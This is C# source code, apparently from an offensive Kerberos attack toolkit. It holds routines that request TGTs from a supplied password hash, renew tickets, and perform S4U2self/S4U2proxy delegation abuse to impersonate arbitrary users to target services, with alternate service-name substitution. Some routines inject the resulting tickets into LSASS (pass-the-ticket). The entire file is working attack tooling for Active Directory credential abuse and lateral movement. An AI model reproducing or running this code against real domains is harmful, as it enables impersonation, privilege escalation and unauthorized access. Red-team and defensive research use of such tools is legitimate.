public static byte[] TGT(string userName, string domain, Ticket providedTicket, byte[] clientKey,
Interop.KERB_ETYPE etype, bool ptt, string domainController = "", bool display = true)
{
if (display)
{
Console.WriteLine("[*] Action: Renew TGT\r\n");
}
string dcIP = Networking.GetDCIP(domainController, display);
if (string.IsNullOrEmpty(dcIP))
{
return(null);
}
if (display)
{
Console.WriteLine("[*] Building TGS-REQ renewal for: '{0}\\{1}'", domain, userName);
}
byte[] tgsBytes = TGS_REQ.NewTGSReq(userName, domain, "krbtgt", providedTicket, clientKey, etype, true);
byte[] response = Networking.SendBytes(dcIP.ToString(), 88, tgsBytes);
if (null == response)
{
return(null);
}
// decode the supplied bytes to an AsnElt object
// false == ignore trailing garbage
AsnElt responseAsn = AsnElt.Decode(response, false);
// check the response value
int responseTag = responseAsn.TagValue;
switch (responseTag)
{
case 13:
Console.WriteLine("[+] TGT renewal request successful!");
// parse the response to an TGS-REP
TGS_REP rep = new TGS_REP(responseAsn);
// https://github.com/gentilkiwi/kekeo/blob/master/modules/asn1/kull_m_kerberos_asn1.h#L62
EncKDCRepPart encRepPart = new EncKDCRepPart(
AsnElt.Decode(
Crypto.KerberosDecrypt(etype, 8, clientKey, rep.enc_part.cipher),
false)
.FirstElement);
// now build the final KRB-CRED structure
KRB_CRED cred = new KRB_CRED();
// add the ticket
cred.Tickets.Add(rep.ticket);
// build the EncKrbCredPart/KrbCredInfo parts from the ticket and the data in the encRepPart
KrbCredInfo info = new KrbCredInfo();
// [0] add in the session key
info.key.keytype = encRepPart.key.keytype;
info.key.keyvalue = encRepPart.key.keyvalue;
// [1] prealm (domain)
info.prealm = encRepPart.realm;
// [2] pname (user)
info.pname.name_type = rep.cname.name_type;
info.pname.name_string = rep.cname.name_string;
// [3] flags
info.flags = encRepPart.flags;
// [4] authtime (not required)
// [5] starttime
info.starttime = encRepPart.starttime;
// [6] endtime
info.endtime = encRepPart.endtime;
// [7] renew-till
info.renew_till = encRepPart.renew_till;
// [8] srealm
info.srealm = encRepPart.realm;
// [9] sname
info.sname.name_type = encRepPart.sname.name_type;
info.sname.name_string = encRepPart.sname.name_string;
// add the ticket_info into the cred object
cred.EncryptedPart.ticket_info.Add(info);
byte[] kirbiBytes = cred.Encode().Encode();
if (display)
{
Helpers.DisplayKerberosTicket(kirbiBytes);
if (ptt)
{
// pass-the-ticket -> import into LSASS
LSA.ImportTicket(kirbiBytes);
}
}
return(kirbiBytes);
case 30:
Helpers.DisplayKerberosError(responseAsn);
return(null);
default:
Console.WriteLine("\r\n[X] Unknown application tag: {0}", responseTag);
return(null);
}
}
public static byte[] TGT(string userName, string domain, string keyString,
Interop.KERB_ETYPE etype, bool ptt, string domainController = "", uint luid = 0)
{
Console.WriteLine("[*] Action: Ask TGT\r\n");
Console.WriteLine("[*] Using {0} hash: {1}", etype, keyString);
if (luid != 0)
{
Console.WriteLine("[*] Target LUID : {0}", luid);
}
string dcIP = Networking.GetDCIP(domainController);
if (String.IsNullOrEmpty(dcIP))
{
return(null);
}
Console.WriteLine("[*] Building AS-REQ (w/ preauth) for: '{0}\\{1}'", domain, userName);
byte[] reqBytes = AS_REQ.NewASReq(userName, domain, keyString, etype);
byte[] response = Networking.SendBytes(dcIP, 88, reqBytes);
if (null == response)
{
return(null);
}
// decode the supplied bytes to an AsnElt object
// false == ignore trailing garbage
AsnElt responseAsn = AsnElt.Decode(response, false);
// check the response value
int responseTag = responseAsn.TagValue;
switch (responseTag)
{
case 11:
Console.WriteLine("[+] TGT request successful!");
// parse the response to an AS-REP
AS_REP rep = new AS_REP(responseAsn);
// convert the key string to bytes
byte[] key = Helpers.StringToByteArray(keyString);
// decrypt the enc_part containing the session key/etc.
// TODO: error checking on the decryption "failing"...
byte[] outBytes;
if (etype == Interop.KERB_ETYPE.rc4_hmac)
{
// KRB_KEY_USAGE_TGS_REP_EP_SESSION_KEY = 8
outBytes = Crypto.KerberosDecrypt(etype, Interop.KRB_KEY_USAGE_TGS_REP_EP_SESSION_KEY, key, rep.enc_part.cipher);
}
else if (etype == Interop.KERB_ETYPE.aes256_cts_hmac_sha1)
{
// KRB_KEY_USAGE_AS_REP_EP_SESSION_KEY = 3
outBytes = Crypto.KerberosDecrypt(etype, Interop.KRB_KEY_USAGE_AS_REP_EP_SESSION_KEY, key, rep.enc_part.cipher);
}
else
{
Console.WriteLine("\r\n[X] Encryption type \"{0}\" not currently supported", etype);
return(null);
}
AsnElt ae = AsnElt.Decode(outBytes, false);
EncKDCRepPart encRepPart = new EncKDCRepPart(ae.FirstElement);
// now build the final KRB-CRED structure
KRB_CRED cred = new KRB_CRED();
// add the ticket
cred.Tickets.Add(rep.ticket);
// build the EncKrbCredPart/KrbCredInfo parts from the ticket and the data in the encRepPart
KrbCredInfo info = new KrbCredInfo();
// [0] add in the session key
info.key.keytype = encRepPart.key.keytype;
info.key.keyvalue = encRepPart.key.keyvalue;
// [1] prealm (domain)
info.prealm = encRepPart.realm;
// [2] pname (user)
info.pname.name_type = rep.cname.name_type;
info.pname.name_string = rep.cname.name_string;
// [3] flags
info.flags = encRepPart.flags;
// [4] authtime (not required)
// [5] starttime
info.starttime = encRepPart.starttime;
// [6] endtime
info.endtime = encRepPart.endtime;
// [7] renew-till
info.renew_till = encRepPart.renew_till;
// [8] srealm
info.srealm = encRepPart.realm;
// [9] sname
info.sname.name_type = encRepPart.sname.name_type;
info.sname.name_string = encRepPart.sname.name_string;
// add the ticket_info into the cred object
cred.EncryptedPart.ticket_info.Add(info);
byte[] kirbiBytes = cred.Encode().Encode();
Helpers.DisplayKerberosTicket(kirbiBytes);
if (ptt || (0 != luid))
{
// pass-the-ticket -> import into LSASS
LSA.ImportTicket(kirbiBytes, luid);
}
return(kirbiBytes);
case 30:
Helpers.DisplayKerberosError(responseAsn);
return(null);
default:
Console.WriteLine("\r\n[X] Unknown application tag: {0}", responseTag);
return(null);
}
}
public static void Execute(KRB_CRED kirbi, string targetUser, string targetSPN, bool ptt,
string domainController = "", string altService = "")
{
Console.WriteLine("[*] Action: S4U\r\n");
// extract out the info needed for the TGS-REQ/S4U2Self execution
string userName = kirbi.EncryptedPart.ticket_info[0].pname.name_string[0];
string domain = kirbi.EncryptedPart.ticket_info[0].prealm;
Ticket ticket = kirbi.Tickets[0];
byte[] clientKey = kirbi.EncryptedPart.ticket_info[0].key.keyvalue;
Interop.KERB_ETYPE etype = (Interop.KERB_ETYPE)kirbi.EncryptedPart.ticket_info[0].key.keytype;
string dcIP = Networking.GetDCIP(domainController);
if (String.IsNullOrEmpty(dcIP))
{
return;
}
Console.WriteLine("[*] Building S4U2self request for: '{0}\\{1}'", domain, userName);
Console.WriteLine("[*] Impersonating user '{0}' to target SPN '{1}'", targetUser, targetSPN);
if (!string.IsNullOrEmpty(altService))
{
string[] altSnames = altService.Split(',');
Console.WriteLine((1 == altSnames.Length)
? "[*] Final ticket will be for the alternate service '{0}'"
: "[*] Final tickets will be for the alternate services '{0}'",
altService);
}
byte[] tgsBytes = TGS_REQ.NewTGSReq(userName, domain, userName, ticket, clientKey, etype,
false, targetUser);
Console.WriteLine("[*] Sending S4U2self request");
byte[] response = Networking.SendBytes(dcIP, 88, tgsBytes);
if (null == response)
{
return;
}
// decode the supplied bytes to an AsnElt object
// false == ignore trailing garbage
AsnElt responseAsn = AsnElt.Decode(response, false);
// check the response value
int responseTag = responseAsn.TagValue;
switch (responseTag)
{
case 13:
Console.WriteLine("[+] S4U2self success!");
// parse the response to an TGS-REP
TGS_REP rep = new TGS_REP(responseAsn);
// https://github.com/gentilkiwi/kekeo/blob/master/modules/asn1/kull_m_kerberos_asn1.h#L62
byte[] outBytes = Crypto.KerberosDecrypt(etype, 8, clientKey, rep.enc_part.cipher);
AsnElt ae = AsnElt.Decode(outBytes, false);
EncKDCRepPart encRepPart = new EncKDCRepPart(ae.FirstElement);
// TODO: ensure the cname contains the name of the user! otherwise s4u not supported
Console.WriteLine("[*] Building S4U2proxy request for service: '{0}'", targetSPN);
TGS_REQ s4u2proxyReq = new TGS_REQ();
PA_DATA padata = new PA_DATA(domain, userName, ticket, clientKey, etype);
s4u2proxyReq.padata.Add(padata);
PA_DATA pac_options = new PA_DATA(false, false, false, true);
s4u2proxyReq.padata.Add(pac_options);
s4u2proxyReq.req_body.kdcOptions = s4u2proxyReq.req_body.kdcOptions | Interop.KdcOptions.CNAMEINADDLTKT;
s4u2proxyReq.req_body.realm = domain;
string[] parts = targetSPN.Split('/');
string serverName = parts[1];
s4u2proxyReq.req_body.sname.name_type = 2;
// the sname
s4u2proxyReq.req_body.sname.name_string.Add(parts[0]);
// the server
s4u2proxyReq.req_body.sname.name_string.Add(serverName);
// supported encryption types
s4u2proxyReq.req_body.etypes.Add(Interop.KERB_ETYPE.aes128_cts_hmac_sha1);
s4u2proxyReq.req_body.etypes.Add(Interop.KERB_ETYPE.aes256_cts_hmac_sha1);
s4u2proxyReq.req_body.etypes.Add(Interop.KERB_ETYPE.rc4_hmac);
// add in the ticket from the S4U2self response
s4u2proxyReq.req_body.additional_tickets.Add(rep.ticket);
byte[] s4ubytes = s4u2proxyReq.Encode().Encode();
Console.WriteLine("[*] Sending S4U2proxy request");
byte[] response2 = Networking.SendBytes(dcIP, 88, s4ubytes);
if (null == response2)
{
return;
}
// decode the supplied bytes to an AsnElt object
// false == ignore trailing garbage
AsnElt responseAsn2 = AsnElt.Decode(response2, false);
// check the response value
int responseTag2 = responseAsn2.TagValue;
switch (responseTag2)
{
case 13:
Console.WriteLine("[+] S4U2proxy success!");
// parse the response to an TGS-REP
TGS_REP rep2 = new TGS_REP(responseAsn2);
// https://github.com/gentilkiwi/kekeo/blob/master/modules/asn1/kull_m_kerberos_asn1.h#L62
EncKDCRepPart encRepPart2 = new EncKDCRepPart(
AsnElt.Decode(
Crypto.KerberosDecrypt(etype, 8, clientKey, rep2.enc_part.cipher), false)
.FirstElement);
KRB_CRED cred;
KrbCredInfo info;
byte[] kirbiBytes;
if (!string.IsNullOrEmpty(altService))
{
string[] altSnames = altService.Split(',');
foreach (string altSname in altSnames)
{
// now build the final KRB-CRED structure with one or more alternate snames
cred = new KRB_CRED();
// since we want an alternate sname, first substitute it into the ticket structure
rep2.ticket.sname.name_string[0] = altSname;
// add the ticket
cred.Tickets.Add(rep2.ticket);
// build the EncKrbCredPart/KrbCredInfo parts from the ticket and the data in the encRepPart
info = new KrbCredInfo();
// [0] add in the session key
info.key.keytype = encRepPart2.key.keytype;
info.key.keyvalue = encRepPart2.key.keyvalue;
// [1] prealm (domain)
info.prealm = encRepPart2.realm;
// [2] pname (user)
info.pname.name_type = rep2.cname.name_type;
info.pname.name_string = rep2.cname.name_string;
// [3] flags
info.flags = encRepPart2.flags;
// [4] authtime (not required)
// [5] starttime
info.starttime = encRepPart2.starttime;
// [6] endtime
info.endtime = encRepPart2.endtime;
// [7] renew-till
info.renew_till = encRepPart2.renew_till;
// [8] srealm
info.srealm = encRepPart2.realm;
// [9] sname
info.sname.name_type = encRepPart2.sname.name_type;
info.sname.name_string = encRepPart2.sname.name_string;
// if we want an alternate sname, substitute it into the encrypted portion of the KRB_CRED
Console.WriteLine("[*] Substituting alternative service name '{0}'", altSname);
info.sname.name_string[0] = altSname;
// add the ticket_info into the cred object
cred.EncryptedPart.ticket_info.Add(info);
kirbiBytes = cred.Encode().Encode();
Helpers.DisplayKerberosTicket(kirbiBytes);
if (ptt)
{
// pass-the-ticket -> import into LSASS
LSA.ImportTicket(kirbiBytes);
}
}
return;
}
// now build the final KRB-CRED structure, no alternate snames
cred = new KRB_CRED();
// if we want an alternate sname, first substitute it into the ticket structure
if (!string.IsNullOrEmpty(altService))
{
rep2.ticket.sname.name_string[0] = altService;
}
// add the ticket
cred.Tickets.Add(rep2.ticket);
// build the EncKrbCredPart/KrbCredInfo parts from the ticket and the data in the encRepPart
info = new KrbCredInfo();
// [0] add in the session key
info.key.keytype = encRepPart2.key.keytype;
info.key.keyvalue = encRepPart2.key.keyvalue;
// [1] prealm (domain)
info.prealm = encRepPart2.realm;
// [2] pname (user)
info.pname.name_type = rep2.cname.name_type;
info.pname.name_string = rep2.cname.name_string;
// [3] flags
info.flags = encRepPart2.flags;
// [4] authtime (not required)
// [5] starttime
info.starttime = encRepPart2.starttime;
// [6] endtime
info.endtime = encRepPart2.endtime;
// [7] renew-till
info.renew_till = encRepPart2.renew_till;
// [8] srealm
info.srealm = encRepPart2.realm;
// [9] sname
info.sname.name_type = encRepPart2.sname.name_type;
info.sname.name_string = encRepPart2.sname.name_string;
// add the ticket_info into the cred object
cred.EncryptedPart.ticket_info.Add(info);
kirbiBytes = cred.Encode().Encode();
Helpers.DisplayKerberosTicket(kirbiBytes);
if (ptt)
{
// pass-the-ticket -> import into LSASS
LSA.ImportTicket(kirbiBytes);
}
return;
case 30:
// parse the response to an KRB-ERROR
Helpers.DisplayKerberosError(responseAsn);
return;
default:
Console.WriteLine("\r\n[X] Unknown application tag: {0}", responseTag);
return;
}
case 30:
// parse the response to an KRB-ERROR
Helpers.DisplayKerberosError(responseAsn);
return;
default:
Console.WriteLine("\r\n[X] Unknown application tag: {0}", responseTag);
return;
}
}
public static byte[] TGS(string userName, string domain, Ticket providedTicket, EncryptionKey key,
string service, bool ptt, string domainController = "", bool display = true)
{
if (display)
{
Console.WriteLine("[*] Action: Ask TGS\r\n");
}
string dcIP = Networking.GetDCIP(domainController, display);
if (string.IsNullOrEmpty(dcIP))
{
return(null);
}
if (display)
{
Console.WriteLine("[*] Building TGS-REQ request for: '{0}'", service);
}
byte[] tgsBytes = TGS_REQ.NewTGSReq(userName, domain, service, providedTicket, key.keyvalue, key.keytype, false);
byte[] response = Networking.SendBytes(dcIP, 88, tgsBytes);
if (response == null)
{
return(null);
}
// decode the supplied bytes to an AsnElt object
// false == ignore trailing garbage
AsnElt responseAsn = AsnElt.Decode(response, false);
// check the response value
int responseTag = responseAsn.TagValue;
if (responseTag == 13)
{
Console.WriteLine("[+] TGS request successful!");
// parse the response to an TGS-REP
TGS_REP rep = new TGS_REP(responseAsn);
// KRB_KEY_USAGE_TGS_REP_EP_SESSION_KEY = 8
byte[] outBytes = Crypto.KerberosDecrypt(key.keytype, Interop.KRB_KEY_USAGE_TGS_REP_EP_SESSION_KEY,
key.keyvalue, rep.enc_part.cipher);
AsnElt ae = AsnElt.Decode(outBytes, false);
EncKDCRepPart encRepPart = new EncKDCRepPart(ae.FirstElement);
// now build the final KRB-CRED structure
KRB_CRED cred = new KRB_CRED();
// add the ticket
cred.Tickets.Add(rep.ticket);
// build the EncKrbCredPart/KrbCredInfo parts from the ticket and the data in the encRepPart
KrbCredInfo info = new KrbCredInfo();
// [0] add in the session key
info.key.keytype = encRepPart.key.keytype;
info.key.keyvalue = encRepPart.key.keyvalue;
// [1] prealm (domain)
info.prealm = encRepPart.realm;
// [2] pname (user)
info.pname.name_type = rep.cname.name_type;
info.pname.name_string = rep.cname.name_string;
// [3] flags
info.flags = encRepPart.flags;
// [4] authtime (not required)
// [5] starttime
info.starttime = encRepPart.starttime;
// [6] endtime
info.endtime = encRepPart.endtime;
// [7] renew-till
info.renew_till = encRepPart.renew_till;
// [8] srealm
info.srealm = encRepPart.realm;
// [9] sname
info.sname.name_type = encRepPart.sname.name_type;
info.sname.name_string = encRepPart.sname.name_string;
// add the ticket_info into the cred object
cred.EncryptedPart.ticket_info.Add(info);
byte[] kirbiBytes = cred.Encode().Encode();
if (display)
{
Helpers.DisplayKerberosTicket(kirbiBytes);
if (ptt)
{
// pass-the-ticket -> import into LSASS
LSA.ImportTicket(kirbiBytes);
}
}
return(kirbiBytes);
}
else if (responseTag == 30)
{
// parse the response to an KRB-ERROR
KRB_ERROR error = new KRB_ERROR(responseAsn.FirstElement);
Console.WriteLine("\r\n[X] KRB-ERROR ({0}) : {1}\r\n", error.ErrorCode, (Interop.KERBEROS_ERROR)error.ErrorCode);
}
else
{
Console.WriteLine("\r\n[X] Unknown application tag: {0}", responseTag);
}
return(null);
}